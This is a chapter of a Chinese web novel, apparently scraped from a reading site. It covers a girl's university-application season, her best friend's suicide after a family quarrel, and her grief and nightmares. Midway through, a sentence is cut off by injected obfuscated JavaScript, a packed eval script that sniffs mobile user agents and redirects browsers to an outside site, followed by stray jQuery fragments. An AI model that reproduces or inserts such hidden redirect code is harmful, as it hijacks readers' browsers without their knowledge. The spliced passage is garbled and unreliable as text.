2019
人生没有结果可论,走到何处便是何处,执念太深只会加害自身。人有灵魂和皮肉,灵魂抛却皮肉,生命消弭,若灵魂消失,则如行尸走肉,唯有身心合一,才可行大道、走远路。
八号高考结束,半个月修整后,成绩如约而至,周有才周溪还有葛欢挤在丁知乐房间,最后一分钟漫长如斯,丁知乐闭眼祷告。不出意外,网站再次卡死,丁知乐深呼一口气,手边的微信弹出两条消息,围着的三人死守屏幕,丁知乐捞过手机看了短信。
“526分。”
“你想报什么学校,报什么专业?”
丁知乐还没从信息内容中缓过来,屏幕弹出成绩页面,周有才和葛欢同时大叫,周溪跟着尖叫:“526,526!念念可以啊,可以选好多学校了。”
高考前几次模拟,丁知乐的成绩都不太理想,最高一次只过了五百,理科本科线在440分左右,按往年成绩来说,丁知乐可选择的范围不大,高考数学偏难,恰好丁知乐数学好,副科中较弱的生物偏易,算是沾了光,成绩高出近三十分。周有才忍不住感叹运气,葛欢驳斥他“明明是念念有实力”。
周有才夫妻俩激动地讨论庆祝方案,当事人丁知乐却捧着手机魂不守舍,直到丁凯莉的视频打来,丁知乐才抽离回状态。
丁凯莉建议丁知乐报南方城市,最好离自己近一些,这样节假日可以和她shopping,如果想要去繁华点的城市,可以考虑大姨所在城市,丁知乐大姨对待感情不靠谱对家人靠得住。丁凯莉拥有开明的教育态度,但提及独生女儿的就学态度明显谨慎许多:“念念,你才十几岁,即便毕业也才二十出头,妈妈并不想禁锢约束你,只是宝贝,你不能用你的善良去应对世界的复杂。妈妈相信你能处理好,只是更情愿用温和的方式松开你的手。”
大约下午一点,杨文帆打来视频电话,看背景应该是阳台,太阳普照地方,楼影重重,他穿灰色短袖,额头有薄汗:“恭喜你丁念念,想好怎么报志愿了吗?”
成绩出来一小时,神童才能想清楚志愿方案,丁知乐忍不住怼他:“五十多分钟我连志愿填报规则都搞不明白,你想我怎么报?”
杨文帆那头笑了,笑声清脆,是耳朵可以捕捉的开心:“你想去哪里,想读什么专业?”
“没想好。”丁知乐翻他白眼,“你又不是不知道,这个问题我想了好几年都没有答案。”
杨文帆提醒她:“那是从前,你高三后没和我聊过。”
丁知乐心脏像被银针扎着,酥酥麻麻,脑海滚动着一团雾,看不清来路归处,她咳嗽一声,满不在乎:“明明是你,我哪敢耽误你这大忙人时间。”
“耽误就耽误了。”杨文帆手机上移,是湛蓝的天空,“丁念念,你认真想想我说的话,我可以给你选志愿。”
“你怎么这么好心,突然想起来给我选志愿?”丁知乐忍不住问。
杨文帆眼睛盯着她:“突然吗?我一直认为是应该的。”
“那你要看双份?”丁知乐补充,“王悦也高考来着。”
春节过后,丁知乐一直和王悦保持着不远不近的距离,节假日偶尔闲聊,王悦成绩比丁知乐好,有时候丁知乐犯迷糊的点,王悦可以给她捋清。刚才高考出成绩,丁知乐礼貌问候了王悦,王悦高考发挥挺好,考了六百三十七。
杨文帆语气肯定:“不用。”
丁知乐跳进怪圈,想不通:“为什么不用?”
“你是你,她是她,不一样。”
……
李良月文化课成绩过线,李爷爷研究了近几年高考填报,初步估算李良月可以上外省一流学校,李良月想学动画制作,全家会议商讨好勉强同意了提议。只是聊到志愿,李良月唉声叹气:“我怕我爷爷改我志愿,他不愿意我学动画,他认为动画专业不是正业。”
在李爷爷的认知里,只有教师和其他体制内工作是正经职业。
要说高考是无声的战争,那报志愿就是抄家带口的大阵仗,李良月爸妈爷奶齐上阵,一本书不够用,家里买了三本填报指南,每天一碰面就是填报计划,常常时,能为一个方案吵半小时。
丁知乐这边好一些,周有才刷短视频,遇到自认为有用的视频就转发给丁知乐,空白的聊天记录逐渐被视频填满。丁凯莉则联系了丁知乐班主任,不知道她用了什么方法,向来不食烟火气的胡老师给丁知乐打了三个分析电话,成绩一般,建议稳,建议不选大热门。葛欢是初中老师,能用的人脉全是初中的,为表示关心,从学校买了一本填报指南,一有空闲就勾勾画画。
杨文帆说到做到,在丁知乐提出“南方,课少,风景美的城市”后,没过两天就做了两张表格,每一个志愿都有详细分析,专业前景,学校位置,课程含量以及城市背景,简单直接,通俗易懂。
填报时间有限,丁知乐每天卯足劲看志愿,偶尔会上线打把游戏,余小虎每天都在线,只要丁知乐在线他就邀请她一起,可能丁知乐这个师父的确好,余小虎技术飞速进步,有时候丁知乐要被他带飞。
林秒还是联系不上,丁知乐猜测可能结果一般,林秒对自己要求高,无论到达何种位置她都不会满意,既然她不想提,那丁知乐就不跟她提,反正路途遥远,总有一天会为当下的不满释怀。
七月三号志愿填报完毕,丁知乐踏实地睡了一觉,醒来后发现企鹅号被轰炸个底朝天,红色的消息提醒九九加,班级群聊常年忽略,只有熟人联系才会如此。丁知乐心脏砰砰跳,她有预感发生了大事,慌乱之中点开消息,看清内容后浑身开始颤抖。
林秒死了。
云江日报今早发文,在东城区良安街道的小河里捞出一具女尸,十七八岁年纪,长发白裙,经核实女孩为六月三十日坠河,近日云江多雨河水上涨,行人发现有物沉在水底,河边臭味弥漫下有人报了警。
周照给丁知乐打了五十多个视频聊天,最后无可奈何,发了长段文字:“林秒怎么了,你能给我说说吗。咱三高一时一起玩,虽然后来越走越远吧,但我一直没忘,和你们一起玩很开心,我想过再找你们一起,但……我觉得你们不需要我了。你可能觉得我假惺惺,但作为曾经的朋友,我想我们以后都能更好,林秒,林秒怎么掉队了?”
丁知乐哭着和周照打电话,周照也在那边哭,两个姑娘涕泗横流,回忆高一一起看过的节目,青春修炼手册,我们不一样,芭蕾舞,模特走秀,光辉岁月……
林秒高考只考了三百八十分,比平常低了一百分,林秒妈妈训斥她,姥姥姥爷建议林秒再读一年,林秒不愿意,林秒妈妈放狠话不愿意就回家干活,反正是没出息的人再读也不会变好。林秒压着情绪,边哭边选志愿,她想半工半读,想专科再升本科,林秒妈妈发现她的想法加倍否定她,甚至撕碎了她选了四五天的志愿单,林秒和妈妈大吵不过离家出走,在外面晃了一天,三十号凌晨毅然决然地跳了河。
没人知道林秒死前想的什么?是赌博家暴抛弃妻女的爸,还是卖苦力上有老下有小的妈,还是年迈浑身疾病的外公外婆。但答案显然易见,这些在人世间堪称牵挂的人留不住她,她空荡荡地在街道飘,没有来路亦没有归处。
她一无所有地来,一无所有地走。
有句话怎么说来着,年少的朋友是彼此青春的收藏家,即使时过境迁,看到从青春年华走出的人,依然会记起那段岁月,记起自己的青春。这个世界没有不能离开的人,只是亲眼见着朝夕相伴的人彻底消失,再无相见之日,心中难免苦痛。
丁知乐开始连夜连夜地失眠,精神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336908|163257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
高度恍惚,一进入睡眠状态就要做噩梦,梦里始终有两个小鬼,小鬼一扯丁知乐头发,小鬼二绑丁知乐手脚,丁知乐高喊投降,两个小鬼越发变本加厉,抽她耳光在她耳边尖叫不停。
丁知乐怀疑过周有才家床不舒服,转移阵地回到丁凯莉家,但噩梦始终做不停,两个小鬼在梦中折磨她,用鲜血涂抹她的眼睛鼻子,用小刀划她的皮肉,用银针扎她的手掌。丁凯莉家只有丁知乐自己,被噩梦吵醒后大哭也没人理她,长夜幽幽,吞噬人异常容易,怕被小鬼“剖心挖肺”,丁知乐只得调整作息,白天睡觉,晚上打游戏。
这样的日子过了约一周,有天下午丁知乐突然惊醒,西沉的太阳光直射她眼睛,手机在枕头旁疯狂滚动,空调温度开得高,丁知乐生了一身汗,接电话时汗珠在脸上有水滴般大小,对面人一眼看出了不对劲儿。
“丁念念,你怎么了?”
淤积在心中的委屈痛苦袭来,丁知乐情难自禁,泪水滚滚:“我有个好朋友,她高考没考好,和家里人吵架,可能他们都不冷静,她直接跳了河,那几天下雨没人发现她,找到她时她身体已经臭了。她是我高中同桌,我们一直做同桌,她脾气有点怪,对学习很认真,对朋友很好……”
“我是不是啰嗦了……”丁知乐的眼睛流啊流,流到嘴边,咸咸的。
杨文帆眼神温柔:“没有,你继续说。”
“高中时,除了我和她,还有另一个人,她叫周照,高中生活紧张,交朋友的时间不多,她成绩提上去后去了别的位置,我们的关系淡了许多,后来的两年里一直是林秒和我,我可能有很多聊得来的同学,但林秒不一样,只有她会在我逃操时帮我撒谎,帮我跑五十米……”
丁知乐强调:“你懂吗,她可能是我破破烂烂青春的绝大部分,想起每个瞬间,我的身旁总有她。”
“念念,人生只有一次,对吗?”
丁知乐点头,泪水滴在被子。
杨文帆说:“抱歉,我话可能不好听,她的故事结束了,你仅有一次的人生还在继续。”
丁知乐抽纸巾,眼皮被揉得发红,嘴边呜咽着,赞同杨文帆的说法,心里却丢了一块。
“可是我……做噩梦。”丁知乐痛苦,“我想是不是对她的关心少了,如果我能多和她联系,是不是就可以发现不对劲,发现不对劲后就能开导她,是不是就会有……”
“念念,不要给自己心理压力,你并没有预知一切的能力。”
“可是……”泪水缓缓,丁知乐哽咽,“杨叔叔和杨奶奶离开时,你是怎么想的?”
周有才不喜欢小猫小狗,丁凯莉嫌照顾宠物麻烦,丁知乐家里没养过任何动物,丁知乐身边的所有人,陪伴她成长的人始终陪着她,如果不是林秒离开,丁知乐还未体会过离别的滋味。几乎是一瞬间,丁知乐想到了杨文帆,他是如何看待离世的亲人的。
网络没有卡顿,杨文帆并没有离开,只是沉默异常久远,或许丁知乐目光太炽热,杨文帆无法拒绝她:“没怎么想,始终想不透。”
“生是为何,死是为何,生命是为何,我不知道。”
丁知乐知道杨文帆没撒谎,他不是万能的,他也有软肋,他也会伤心会难过,他也会想不通许多许多事。
丁知乐哭着,剧烈摇头:“对不起,我不该……”
杨文帆声音平静:“你对不起谁了?你很好,你一直很好。”
昼夜颠倒的时差要调整,在家里只有丁知乐一人的情况下,问题困难许多。杨文帆白天时间忙碌,晚上要忙到九点半,开视频或打电话不妥,临睡前他习惯听歌,丁知乐恰好是夜猫子,杨文帆便邀请丁知乐一起听歌,从晚十一点听到清晨六点,歌风均是舒缓温柔的,可能这种迂回的陪伴有效,慢慢地,丁知乐噩梦少做许多。